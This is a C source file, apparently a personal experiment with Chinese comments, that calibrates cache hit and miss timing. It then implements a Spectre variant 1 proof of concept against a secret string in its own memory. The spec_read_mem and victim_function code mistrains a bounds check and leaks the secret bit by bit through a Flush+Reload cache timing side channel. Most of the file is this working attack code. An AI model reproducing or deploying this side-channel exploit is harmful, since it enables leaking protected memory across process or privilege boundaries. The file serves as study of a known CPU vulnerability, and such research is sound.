

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#include <x86intrin.h>

// #define SIZE_64K (1024 * 64)
#define SIZE_64K 64

static struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };
static uint64_t temp_val = 0;
long time_self_speed = 0;

uint64_t _buf[1024 * 1024]; // 1M
uint64_t* buf;

long time1;
long time2;

#define read_time(addr)                            \
    time1 = __rdtscp(&temp_val); /* READ TIMER */  \
    temp_val &= *addr; /* MEMORY ACCESS TO TIME */ \
    time2 = __rdtscp(&temp_val) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

static inline void clflush(void* addr)
{
    _mm_clflush(addr);
    _mm_mfence();
}

static inline void dsbsy()
{
    _mm_mfence();
}

long calibre_counter()
{
    // struct timespec time_start = { 0, 0 }, time_end = { 0, 0 };

    // syscall(SYS_clock_gettime, CLOCK_MONOTONIC_RAW, &monotonic_time)

    long ns = 0;
    long max = 0;
    long min = 1000000;
    long count = 0;
    for (int i = 0; i < 30; i++) {

        clock_gettime(CLOCK_MONOTONIC_RAW, &time_start);
        dsbsy();
        clock_gettime(CLOCK_MONOTONIC_RAW, &time_start);
        dsbsy();
        clock_gettime(CLOCK_MONOTONIC_RAW, &time_end);
        // __rdtsc
        ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
        // printf("ns: %ld ns\n", ns);
        count += ns;
        if (max < ns)
            max = ns;
        if (min > ns)
            min = ns;
    }
    long avg = count / 30;
    printf("avg: %ld ns, min: %ld ns, max: %ld ns\n", avg, min, max);
    return avg;
}

long time_read(uint64_t* addr)
{
    long ns = 0;

    // unsigned long long time1 = __rdtscp(&temp_val); /* READ TIMER */
    // // printf("xxxx: %llu\n", time1);
    // temp_val &= *addr;
    // unsigned long long time2 = __rdtscp(&temp_val); /* READ TIMER */
    // return time2 - time1;

    clock_gettime(CLOCK_MONOTONIC_RAW, &time_start);
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC_RAW, &time_start);
    dsbsy();
    temp_val &= *addr;
    dsbsy();
    clock_gettime(CLOCK_MONOTONIC_RAW, &time_end);
    dsbsy();

    // ns = (time_end.tv_sec - time_start.tv_sec) * 1000000000 + (time_end.tv_nsec - time_start.tv_nsec);
    ns = (time_end.tv_nsec - time_start.tv_nsec);
    if (time_self_speed < ns)
        return ns - time_self_speed;
    return 0;
}

long get_avg(const char* msg, long vals[], int count)
{
    long sum = 0, max = vals[0], min = 100000000, avg;
    for (int i = 0; i < count; i++) {
        // printf("ns: %ld ns\n", vals[i]);
        if ((max * 5) < vals[i]) {
            // 超过这么多倍,那么有可能是任务进行了调度,需要剔除
            count--;
            continue;
        }
        if (max < vals[i])
            max = vals[i];
        if (min > vals[i])
            min = vals[i];
        sum += vals[i];
    }
    avg = sum / count;
    printf("%s: avg: %4ld ns, min: %4ld ns, max: %4ld ns\n", msg, avg, min, max);
    return avg;
}

long mesaure_miss_letancy(uint64_t* addr)
{
    long each_ns[60];
    long count = 0;
    for (int i = 0; i < 40; i++) {
        clflush(addr);
        each_ns[i] = time_read(addr);
        count++;
    }
    long avg = get_avg("miss letancy", each_ns, count);
    return avg;
}

long mesaure_hit_letancy(uint64_t* addr)
{
    long each_ns[60];
    long count = 0;
    temp_val &= *addr;
    for (int i = 0; i < 40; i++) {
        each_ns[i] = time_read(addr);
        count++;
    }
    long avg = get_avg(" hit letancy", each_ns, count);
    return avg;
}

void show_read_letancy(uint64_t* addr)
{
    long ns;
    ns = time_read(addr);
    printf("addr: %p, letancy: %ld ns\n", addr, ns);
}

void mesaure_cache_line(uint64_t* addr)
{
    uint64_t* taddr;
    printf("====\n");
    for (int i = 0; i < 10; i++) {
        taddr = addr + (i * SIZE_64K);
        // clflush(taddr);
        show_read_letancy(taddr);
        clflush(taddr);
    }
}

void mesaure_cache_line2(uint64_t* addr)
{
    volatile uint64_t* taddr;

    printf("====%s: ====\n", __func__);
    for (int i = 0; i < 10; i++) {
        taddr = addr + (i * SIZE_64K);
        dsbsy();
        // temp_val &= *taddr;
        // clflush(taddr);
        show_read_letancy(taddr);
        // clflush(taddr);
    }

    printf("====%s: ......\n", __func__);
    for (int i = 0; i < 10; i++) {
        taddr = addr + (i * SIZE_64K);
        dsbsy();
        // temp_val &= *taddr;
        // clflush(taddr);
        show_read_letancy(taddr);
        clflush(taddr);
        dsbsy();
    }
}

void check_assume_addr_letancy(uint64_t* addr)
{
    uint64_t* taddr;
    int inx[20] = { 0 };
    for (int i = 0; i < 20; i++) {
        // inx[i] = i + 31;
        inx[i] = i;
    }

    printf("=======spectre attack: assume\n");
    for (int i = 0; i < 10; i++) {
        taddr = &addr[i * SIZE_64K];
        // *taddr = 1;
        dsbsy();
        temp_val = *taddr;
        clflush(taddr);
        // inx[i] = i + 31;
        clflush(&addr[inx[i] * SIZE_64K]);
    }
    // inx[6] = 6;
    // for (int i = 7; i < 10; i++) {
    // inx[i] = 0;
    // }
    int i;
    int mix_i;
    for (i = 0; i < 6; i++) {
        // taddr = addr + (i * 512);
        taddr = &addr[inx[i] * SIZE_64K];
        // clflush(taddr);
        // *taddr = 1;
        printf("addr: %p, inx: %d\n", taddr, inx[i]);
        temp_val &= *taddr;
    }

    // 分支预测执行影响
    show_read_letancy(&addr[6 * SIZE_64K]);
    printf("val: %ld, %ld, i: %d\n", addr[5 * SIZE_64K], addr[6 * SIZE_64K], i);
}

uint8_t victim_array[160] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 };
int victim_array_size = 16;

uint8_t bound_page[4096];

uint8_t* msg = "eeehello";

void victim_function(size_t x, int bit)
{
    // printf("---%c= x: %d, inx: %d, bit: %d =\n", victim_array[x], x, ((victim_array[x] >> bit) & 1), bit);

    if (x < victim_array_size) {
        // printf("iii: %d\n", ((victim_array[x] >> bit) & 1) * 512 + 512);
        temp_val &= buf[((victim_array[x] >> bit) & 1) * SIZE_64K + SIZE_64K]; // 512*8 = 4096
    }
}

void spec_read_mem()
{
    uint64_t t_buf[1024 * 512];
    size_t offset = msg - &victim_array[0];
    for (int bit = 7; bit >= 0; bit--) {
        int hit0 = 0;
        int hit1 = 1;

        for (int tries = 0; tries < 100; tries++) {

            for (int round = 29; round >= 0; round--) {
                for (int i = 0; i < 256; i++) {
                    clflush(&buf[i * SIZE_64K]);
                }
                dsbsy();

                size_t x = (round == 0) * offset;

                // 这一行很关键, 由于在条件中需要使用这个变量, 当这个变量获取速度快于 工具内存访问速度时,预测将失效
                clflush(&victim_array_size);

                victim_function(x, bit);
                dsbsy();
            }
        }

        int delay_0, delay_1;

        delay_0 = time_read(&buf[SIZE_64K]);
        delay_1 = time_read(&buf[SIZE_64K * 2]);
        printf("bit: %d, cc: %c(%x), delay0: %d, dleay1: %d\n", bit, victim_array[offset], victim_array[offset], delay_0, delay_1);
        // printf("bit: %d, cc: %c, delay0: %d, dleay1: %d\n", bit, victim_array[offset], delay_0, delay_1);
        // break;
    }
}

int main(int argc, char const* argv[])
{
    long time_ns;
    long miss_letancy, hit_letancy;
    time_ns = calibre_counter();
    time_self_speed = time_ns;
    printf("time counter: %ldns\n", time_ns);
    uint64_t* addr = &_buf[0];
    addr = (uint64_t*)(((uint64_t)addr) + 64 - (((uint64_t)addr) % 64));
    buf = addr;

    printf("addr: %p, 64B align: %d\n", addr, ((long)addr) % 64 == 0);

    miss_letancy = mesaure_miss_letancy(&buf[0]);
    hit_letancy = mesaure_hit_letancy(&buf[0]);

    printf("========\n");
    clflush(addr);
    mesaure_cache_line(addr);
    mesaure_cache_line2(addr);

    check_assume_addr_letancy(addr);

    printf("*************\n");
    spec_read_mem();

    return 0;
}
